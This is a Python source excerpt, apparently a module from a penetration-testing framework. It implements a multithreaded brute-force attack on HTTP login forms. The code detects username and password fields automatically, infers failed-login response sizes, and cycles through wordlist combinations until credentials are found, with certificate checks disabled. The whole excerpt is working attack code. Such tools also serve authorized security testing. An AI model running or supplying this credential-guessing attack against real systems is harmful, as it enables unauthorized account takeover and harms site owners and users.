def detect_form(self):
        url = sanitize_url("{}:{}{}".format(self.target, self.port,
                                            self.get_form_path()))
        r = requests.get(url, verify=False)
        soup = BeautifulSoup(r.text, "lxml")

        forms = soup.findAll("form")

        if forms is None:
            return None

        res = []
        action = None
        user_name_list = [
            "username", "user", "user_name", "login", "username_login",
            "nameinput", "uname", "__auth_user", "txt_user", "txtusername"
        ]
        password_list = [
            "password", "pass", "password_login", "pwd", "passwd",
            "__auth_pass", "txt_pwd", "txtpwd"
        ]
        found = False

        for form in forms:
            tmp = []

            if not len(form):
                continue

            action = form.attrs.get('action', None)
            if action and not action.startswith("/"):
                action = "/" + action

            for inp in form.findAll("input"):
                attributes = ["name", "id"]

                for atr in attributes:
                    if atr not in inp.attrs.keys():
                        continue

                    if inp.attrs[atr].lower(
                    ) in user_name_list and inp.attrs['type'] != "hidden":
                        found = True
                        tmp.append(inp.attrs[atr] + "=" + "{{USER}}")
                    elif inp.attrs[atr].lower(
                    ) in password_list and inp.attrs['type'] != "hidden":
                        found = True
                        tmp.append(inp.attrs[atr] + "=" + "{{PASS}}")
                    else:
                        if 'value' in inp.attrs.keys():
                            tmp.append(inp.attrs[atr] + "=" +
                                       inp.attrs['value'])
                        elif inp.attrs['type'] not in ("submit", "button"):
                            tmp.append(inp.attrs[atr] + "=")

                if found:
                    res = tmp

        res = list(set(res))
        return action, '&'.join(res)
    def attack(self):
        url = sanitize_url("{}:{}{}".format(self.target, self.port,
                                            self.get_form_path()))

        try:
            requests.get(url, verify=False)
        except (requests.exceptions.MissingSchema,
                requests.exceptions.InvalidSchema):
            print_error("Invalid URL format: %s" % url)
            return
        except requests.exceptions.ConnectionError:
            print_error("Connection error: %s" % url)
            return

        # authentication type
        if self.form == 'auto':
            form_data = self.detect_form()

            if form_data is None:
                print_error("Could not detect form")
                return

            (form_action, self.data) = form_data
            if form_action:
                self.path = form_action
        else:
            self.data = self.form

        print_status("Using following data: ", self.data)

        # invalid authentication
        self.invalid_auth()

        # running threads
        if self.usernames.startswith('file://'):
            usernames = open(self.usernames[7:], 'r')
        else:
            usernames = [self.usernames]

        if self.passwords.startswith('file://'):
            passwords = open(self.passwords[7:], 'r')
        else:
            passwords = [self.passwords]

        collection = LockedIterator(itertools.product(usernames, passwords))
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.credentials):
            print_success("Credentials found!")
            headers = ("Target", "Port", "Login", "Password")
            printTable(headers, *self.credentials)
        else:
            print_error("Credentials not found")
    def target_function(self, running, data):
        module_verbosity = Validators.boolify(self.verbosity)
        name = threading.current_thread().name
        url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
        headers = {u'Content-Type': u'application/x-www-form-urlencoded'}

        print_status(name, 'process is starting...', verbose=module_verbosity)

        while running.is_set():
            try:
                user, password = data.next()
                user = user.strip()
                password = password.strip()

                postdata = self.data.replace("{{USER}}", user).replace(
                    "{{PASS}}", password)
                r = requests.post(url,
                                  headers=headers,
                                  data=postdata,
                                  verify=False)
                l = len(r.text)

                if l < self.invalid["min"] or l > self.invalid["max"]:
                    if Validators.boolify(self.stop_on_success):
                        running.clear()

                    print_success(
                        "Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'"
                        .format(self.target, self.port, name, user, password),
                        verbose=module_verbosity)
                    self.credentials.append(
                        (self.target, self.port, user, password))
                else:
                    print_error(
                        name,
                        "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'"
                        .format(self.target, self.port, name, user, password),
                        verbose=module_verbosity)
            except StopIteration:
                break

        print_status(name, 'process is terminated.', verbose=module_verbosity)
    def invalid_auth(self):
        for i in range(0, 21, 5):
            url = sanitize_url("{}:{}{}".format(self.target, self.port,
                                                self.path))
            headers = {u'Content-Type': u'application/x-www-form-urlencoded'}

            user = "******" * i
            password = "******" * i

            postdata = self.data.replace("{{USER}}",
                                         user).replace("{{PASS}}", password)
            r = requests.post(url,
                              headers=headers,
                              data=postdata,
                              verify=False)
            l = len(r.text)

            if i == 0:
                self.invalid = {"min": l, "max": l}

            if l < self.invalid["min"]:
                self.invalid["min"] = l
            elif l > self.invalid["max"]:
                self.invalid["max"] = l